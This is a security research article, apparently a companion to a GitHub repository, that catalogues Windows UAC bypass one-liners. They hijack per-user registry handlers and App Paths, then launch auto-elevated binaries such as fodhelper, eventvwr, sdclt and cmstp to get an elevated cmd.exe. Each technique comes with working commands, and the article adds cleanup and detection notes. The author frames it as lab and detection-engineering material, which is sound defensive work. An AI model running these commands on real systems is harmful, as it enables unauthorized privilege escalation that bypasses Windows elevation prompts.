UAC Bypass Context
User Account Control bypass research sits in the space between local privilege context, Windows shell behavior, auto-elevated binaries, and registry lookup order. These techniques do not magically create administrator rights from a normal low-privilege account. They depend on a user already being in a context where elevation is possible, then abuse a trusted Windows path that starts elevated without showing the expected prompt.
This article is based on my uac-bypass-oneliners repository. The purpose is lab documentation, detection engineering, and authorized validation. The commands should be tested only in controlled Windows labs or systems where explicit permission exists. A useful UAC bypass note should always include the trigger binary, registry path, payload, affected assumptions, and cleanup commands.
The Common Registry Hijack Pattern
Several UAC bypasses rely on per-user registry keys under HKCU. Windows checks user-controlled class registrations or App Paths before resolving the command that should be launched by an auto-elevated component. If the elevated binary trusts that lookup path, the operator can point the handler to a controlled command.
The pattern usually has three parts. First, create or modify a registry key under the current user hive. Second, set DelegateExecute or a default command value to redirect execution. Third, launch a Windows binary that performs the trusted lookup. The proof is small, but the important lesson is the boundary failure: an elevated process is consuming user-writable configuration.
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
eventvwr.exeeventvwr And perfmon
The eventvwr and perfmon examples use the mscfile class handler. The payload in the repository is cmd.exe because it is easy to observe in a lab, but the same pattern can be used to start any approved test command. When validating this class of issue, I prefer a harmless command that prints identity or writes a marker file to a temporary path.
A good test records whether the child process starts elevated, which registry value was used, and whether endpoint controls detected or blocked the chain. The value of the test is not only execution. It is understanding whether the environment exposes an elevation path through a user-controlled registry lookup.
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && eventvwr.exe
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start perfmon.exefodhelper And computerdefaults
fodhelper.exe and computerdefaults.exe are well-known because they use the ms-settings handler path. The registry write is still under HKCU, but the auto-elevated binary can consume the value and start the configured command. This makes the technique useful for illustrating why UAC is not a security boundary by itself.
For defensive review, the interesting telemetry includes registry writes under HKCU Software Classes, creation of DelegateExecute values, process ancestry from fodhelper or computerdefaults, and unexpected shells or scripts spawned by those binaries.
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start fodhelper.exe
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f && start computerdefaults.exesdclt And control.exe Resolution
The sdclt and control.exe examples show another useful idea: command resolution through App Paths. Instead of class handler hijacking, the operator modifies the per-user App Paths entry for control.exe and then triggers a component that resolves that path.
This is useful during research because it highlights a different source of trust. If an elevated process resolves executable paths from user-writable locations, a local user can influence what gets started in the elevated context. Detection should focus on App Paths writes for sensitive names and suspicious child processes from the trigger.
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /ve /t REG_SZ /d "cmd.exe" /f && start sdclt.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /ve /t REG_SZ /d "cmd.exe" /f && control.exe /computernameslui.exe
The slui.exe entry uses the exefile class handler pattern. In a lab matrix, this is useful because the trigger is small and the registry path is easy to watch with Sysmon, Procmon, or EDR telemetry.
The important artifacts are the DelegateExecute value, the exefile shell open command override, and any elevated child process created after the trigger starts.
reg add "HKCU\Software\Classes\exefile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start slui.exetaskmgr.exe
The taskmgr.exe entry is tracked separately because it uses a different per-user class path. That makes it useful for checking whether defensive rules only cover the common ms-settings and mscfile paths while missing less common handler keys.
A complete test should record the current integrity level before the trigger, the process tree after the trigger, and the registry value that caused the command resolution.
reg add "HKCU\Software\Classes\taskmgr\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start taskmgr.exesysprep.exe
The sysprep.exe example uses an AppID class entry and starts the system sysprep binary directly. This is a good case for studying signed Windows utility abuse because the trigger path is different from the handler examples above.
When validating it, treat the AppID write as the primary detection point and the sysprep child process as the second signal.
reg add "HKCU\Software\Classes\AppID\{921C1A8B-9F15-4DA4-9235-0472C3A216E6}" /ve /t REG_SZ /d "cmd.exe" /f && start C:\Windows\System32\sysprep\sysprep.exewsreset.exe
The wsreset.exe entry abuses a Windows Store related class path. It belongs in the list because it exercises a long AppX class registration key, which can be missed when reviews only focus on short, familiar registry paths.
For research notes, capture the exact key, Windows build, Store component state, and whether the trigger behavior differs across patched systems.
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3ve545ctp9c9nt4m79fl\Shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3ve545ctp9c9nt4m79fl\Shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start wsreset.exedccw.exe
The dccw.exe entry uses the same exefile handler pattern as slui.exe, but a different signed Windows trigger. Keeping it as its own section makes the article match the repository and makes the test matrix easier to scan.
This kind of duplicate-pattern entry is still useful because controls often block by parent process name, not only by registry key.
reg add "HKCU\Software\Classes\exefile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start dccw.exemsconfig.exe
The msconfig.exe entry also uses the exefile handler path. It is useful for comparing how multiple auto-elevated or trusted Windows utilities behave when pointed at the same per-user command override.
The defensive lesson is to correlate both sides of the chain: registry write plus unusual child process from the signed trigger.
reg add "HKCU\Software\Classes\exefile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && start msconfig.execleanmgr.exe
The cleanmgr.exe entry uses a separate AppID path. It is worth documenting individually because it does not look like the common ms-settings or mscfile examples and therefore gives defenders another concrete path to test.
In a clean lab, validate whether the trigger works on the target Windows build, then immediately remove the AppID key during cleanup.
reg add "HKCU\Software\Classes\AppID\{34A34E0C-0547-4FBE-9B41-D5F27CF5F994}" /ve /t REG_SZ /d "cmd.exe" /f && start cleanmgr.exewusa.exe
The wusa.exe entry returns to the exefile handler pattern with another Windows binary. It is included so the article mirrors the repository list instead of hiding entries inside a generic section.
Different triggers can produce different telemetry even when they depend on the same registry primitive, which is why each one is useful in a detection test matrix.
reg add "HKCU\Software\Classes\exefile\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f && reg add "HKCU\Software\Classes\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f && wusa.execmstp INF Chain
The cmstp example is different because it builds an INF file in the temporary directory and asks cmstp to process it. This is a useful lab case for studying scriptable installer behavior, temporary file creation, and command execution through signed Windows utilities.
For a clean proof, keep the INF content minimal and remove it after testing. Defenders can look for suspicious cmstp usage, INF files written to temporary directories, and command execution chained from setup-related binaries.
echo [version] > %tmp%\bypass.inf && echo Signature=$chicago$ >> %tmp%\bypass.inf && echo [DefaultInstall] >> %tmp%\bypass.inf && echo RunPreSetupCommands=cmd1 >> %tmp%\bypass.inf && echo [cmd1] >> %tmp%\bypass.inf && echo cmd.exe >> %tmp%\bypass.inf && cmstp.exe /au %tmp%\bypass.infCleanup Commands
Cleanup is mandatory in a lab and in authorized assessments. These one-liners modify current-user registry locations. Leaving those values behind can break normal Windows behavior, create misleading later test results, or leave a persistent execution path.
The repository includes a reset block that deletes the modified keys. I prefer running cleanup immediately after validation, then rerunning the trigger once to confirm the hijack is gone.
reg delete "HKCU\Software\Classes\mscfile\shell\open\command" /f
reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
reg delete "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f
reg delete "HKCU\Software\Classes\exefile\shell\open\command" /f
reg delete "HKCU\Software\Classes\taskmgr\shell\open\command" /f
reg delete "HKCU\Software\Classes\AppID\{921C1A8B-9F15-4DA4-9235-0472C3A216E6}" /f
reg delete "HKCU\Software\Classes\AppX82a6gwre4fdg3ve545ctp9c9nt4m79fl\Shell\open\command" /f
reg delete "HKCU\Software\Classes\AppID\{34A34E0C-0547-4FBE-9B41-D5F27CF5F994}" /fDetection And Hardening Notes
UAC bypass validation should produce defensive value. Useful detection logic watches for HKCU Software Classes and App Paths changes that point to shells, script interpreters, living-off-the-land binaries, temporary paths, or unexpected executables. Process ancestry is also important: an elevated Windows utility spawning cmd.exe, powershell.exe, wscript.exe, mshta.exe, rundll32.exe, or an unknown binary should be treated as suspicious.
Hardening depends on the environment, but practical controls include reducing local administrator membership, using application control, monitoring registry hijack paths, enforcing endpoint detection rules for auto-elevation abuse, and treating UAC as a convenience boundary rather than a strong security boundary.
The main lesson is simple: a one-liner is only the surface. The real research is understanding which trusted lookup path was abused, which Windows versions are affected, what telemetry is produced, and how to prevent the same class of elevation path from being useful in production.